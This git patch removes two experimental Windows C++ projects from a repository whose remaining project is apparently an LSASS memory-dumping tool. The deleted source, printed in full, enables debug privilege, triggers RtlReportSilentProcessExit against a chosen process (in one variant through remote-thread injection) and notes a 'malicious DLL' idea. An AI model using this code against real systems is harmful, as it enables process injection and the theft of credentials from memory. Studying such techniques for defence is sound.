From c52da58e0be2cf396eee7940a8f276a283470d3b Mon Sep 17 00:00:00 2001 From: Asaf Gilboa Date: Sun, 29 Nov 2020 11:36:53 +0200 Subject: [PATCH] Removed unneeded files --- SilentProcessExit.sln | 20 --- SilentProcessExit/SilentProcessExit.cpp | 57 ------- SilentProcessExit/SilentProcessExit.vcxproj | 157 ------------------ .../SilentProcessExit.vcxproj.filters | 22 --- .../SilentProcessExitRemoteThread.cpp | 89 ---------- .../SilentProcessExitRemoteThread.vcxproj | 156 ----------------- ...entProcessExitRemoteThread.vcxproj.filters | 22 --- 7 files changed, 523 deletions(-) delete mode 100644 SilentProcessExit/SilentProcessExit.cpp delete mode 100644 SilentProcessExit/SilentProcessExit.vcxproj delete mode 100644 SilentProcessExit/SilentProcessExit.vcxproj.filters delete mode 100644 SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.cpp delete mode 100644 SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj delete mode 100644 SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj.filters diff --git a/SilentProcessExit.sln b/SilentProcessExit.sln index 5310e2a..a929e40 100644 --- a/SilentProcessExit.sln +++ b/SilentProcessExit.sln @@ -3,10 +3,6 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29613.14 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SilentProcessExit", "SilentProcessExit\SilentProcessExit.vcxproj", "{35C06DB1-8DF8-4C84-8450-C0889380A807}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SilentProcessExitRemoteThread", "SilentProcessExitRemoteThread\SilentProcessExitRemoteThread.vcxproj", "{FD3F3A98-E885-41D7-9B34-9CF9C7614B69}" -EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LsassSilentProcessExit", "LsassSilentProcessExit\LsassSilentProcessExit.vcxproj", "{E82BCAD1-0D2B-4E95-B382-933CF78A8128}" EndProject Global @@ -17,22 +13,6 @@ Global Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Debug|x64.ActiveCfg = Debug|x64 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Debug|x64.Build.0 = Debug|x64 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Debug|x86.ActiveCfg = Debug|Win32 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Debug|x86.Build.0 = Debug|Win32 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Release|x64.ActiveCfg = Release|x64 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Release|x64.Build.0 = Release|x64 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Release|x86.ActiveCfg = Release|Win32 - {35C06DB1-8DF8-4C84-8450-C0889380A807}.Release|x86.Build.0 = Release|Win32 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Debug|x64.ActiveCfg = Debug|x64 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Debug|x64.Build.0 = Debug|x64 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Debug|x86.ActiveCfg = Debug|Win32 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Debug|x86.Build.0 = Debug|Win32 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Release|x64.ActiveCfg = Release|x64 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Release|x64.Build.0 = Release|x64 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Release|x86.ActiveCfg = Release|Win32 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69}.Release|x86.Build.0 = Release|Win32 {E82BCAD1-0D2B-4E95-B382-933CF78A8128}.Debug|x64.ActiveCfg = Debug|x64 {E82BCAD1-0D2B-4E95-B382-933CF78A8128}.Debug|x64.Build.0 = Debug|x64 {E82BCAD1-0D2B-4E95-B382-933CF78A8128}.Debug|x86.ActiveCfg = Debug|Win32 diff --git a/SilentProcessExit/SilentProcessExit.cpp b/SilentProcessExit/SilentProcessExit.cpp deleted file mode 100644 index 9e1d626..0000000 --- a/SilentProcessExit/SilentProcessExit.cpp +++ /dev/null @@ -1,57 +0,0 @@ -// SilentProcessExit.cpp : This file contains the 'main' function. Program execution begins and ends there. -// - -#include -#include - -typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) ( - _In_ HANDLE ProcessHandle, - _In_ NTSTATUS ExitStatus - ); - -BOOL EnableDebugPrivilege(BOOL bEnable) -{ - HANDLE hToken = nullptr; - LUID luid; - - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; - if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; - - TOKEN_PRIVILEGES tokenPriv; - tokenPriv.PrivilegeCount = 1; - tokenPriv.Privileges[0].Luid = luid; - tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; - - if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE; - - return TRUE; -} - -int main(int argc, char* argv[]) -{ - if (!EnableDebugPrivilege(TRUE)) - { - std::cout << "ERROR: Could not adjust token privileges! \n"; - return -1; - } - - HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); - RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit"); - - int pid = atoi(argv[1]); - - HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, pid); - - if (hProcess == INVALID_HANDLE_VALUE) - { - int lastError = GetLastError(); - - - std::cout << "ERROR OpenProcess() failed with error: " << lastError << "\n"; - return -1; - } - - NTSTATUS ntstatus = RtlReportSilentProcessExit(hProcess, 0); - - std::cout << "RtlReportSilentProcessExit() NTSTATUS: " << std::hex << ntstatus << "\n"; -} diff --git a/SilentProcessExit/SilentProcessExit.vcxproj b/SilentProcessExit/SilentProcessExit.vcxproj deleted file mode 100644 index cd18488..0000000 --- a/SilentProcessExit/SilentProcessExit.vcxproj +++ /dev/null @@ -1,157 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - {35C06DB1-8DF8-4C84-8450-C0889380A807} - Win32Proj - SilentProcessExit - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - true - - - false - - - false - - - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - - - Console - DebugFull - - - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - - - Console - DebugFull - - - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/SilentProcessExit/SilentProcessExit.vcxproj.filters b/SilentProcessExit/SilentProcessExit.vcxproj.filters deleted file mode 100644 index 4ad64c4..0000000 --- a/SilentProcessExit/SilentProcessExit.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file diff --git a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.cpp b/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.cpp deleted file mode 100644 index 7ad1dfc..0000000 --- a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.cpp +++ /dev/null @@ -1,89 +0,0 @@ -// SilentProcessExit.cpp : This file contains the 'main' function. Program execution begins and ends there. -// - -#include -#include - -typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) ( - _In_ HANDLE ProcessHandle, - _In_ NTSTATUS ExitStatus - ); - -BOOL EnableDebugPrivilege(BOOL bEnable) -{ - HANDLE hToken = nullptr; - LUID luid; - - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; - if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE; - - TOKEN_PRIVILEGES tokenPriv; - tokenPriv.PrivilegeCount = 1; - tokenPriv.Privileges[0].Luid = luid; - tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; - - if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE; - - return TRUE; -} - -int main(int argc, char* argv[]) -{ - if (!EnableDebugPrivilege(TRUE)) - { - std::cout << "ERROR: Could not adjust token privileges! \n"; - return -1; - } - - HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); - PVOID pRtlReportSilentProcessExit = GetProcAddress(hNtdll, "RtlReportSilentProcessExit"); - - int pid = atoi(argv[1]); - - HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid); - - if (hProcess == INVALID_HANDLE_VALUE) - { - int lastError = GetLastError(); - std::cout << "ERROR OpenProcess() failed with error: " << lastError << "\n"; - return -1; - } - - // 0xFFFFFFFF = Self process - char* buf = (char*)"\xFF\xFF\xFF\xFF"; - - LPVOID arg = (LPVOID)VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - - if (!arg) - { - int lastError = GetLastError(); - std::cout << "ERROR VirtualAllocEx() failed with error: " << lastError << "\n"; - return -1; - } - - if (!WriteProcessMemory(hProcess, arg, buf, sizeof(buf), NULL)) - { - int lastError = GetLastError(); - std::cout << "ERROR WriteProcessMemory() failed with error: " << lastError << "\n"; - return -1; - } - - HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL); - - if (!hThread) - { - int lastError = GetLastError(); - std::cout << "ERROR CreateRemoteThread() failed with error: " << lastError << "\n"; - return -1; - } - - std::cout << "Done!\n"; - std::cout << "arg = " << std::hex << arg << "\n"; -} - -// https://www.hexacorn.com/blog/2018/09/ -// Call WerRegisterRuntimeExceptionModule() to register a malicious DLL which once loaded will find and ovewrite the following strings: -// Directory string format: -// %s\\%s-(PID-%u)-%u -// File Name string format: -// %s\\%s-(PID-%u).dmp diff --git a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj b/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj deleted file mode 100644 index 056063b..0000000 --- a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj +++ /dev/null @@ -1,156 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - {FD3F3A98-E885-41D7-9B34-9CF9C7614B69} - Win32Proj - SilentProcessExitRemoteThread - 10.0 - - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - Application - true - v142 - Unicode - - - Application - false - v142 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - - - true - - - false - - - false - - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - - - Console - DebugFull - - - - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - \ No newline at end of file diff --git a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj.filters b/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj.filters deleted file mode 100644 index 071973b..0000000 --- a/SilentProcessExitRemoteThread/SilentProcessExitRemoteThread.vcxproj.filters +++ /dev/null @@ -1,22 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - \ No newline at end of file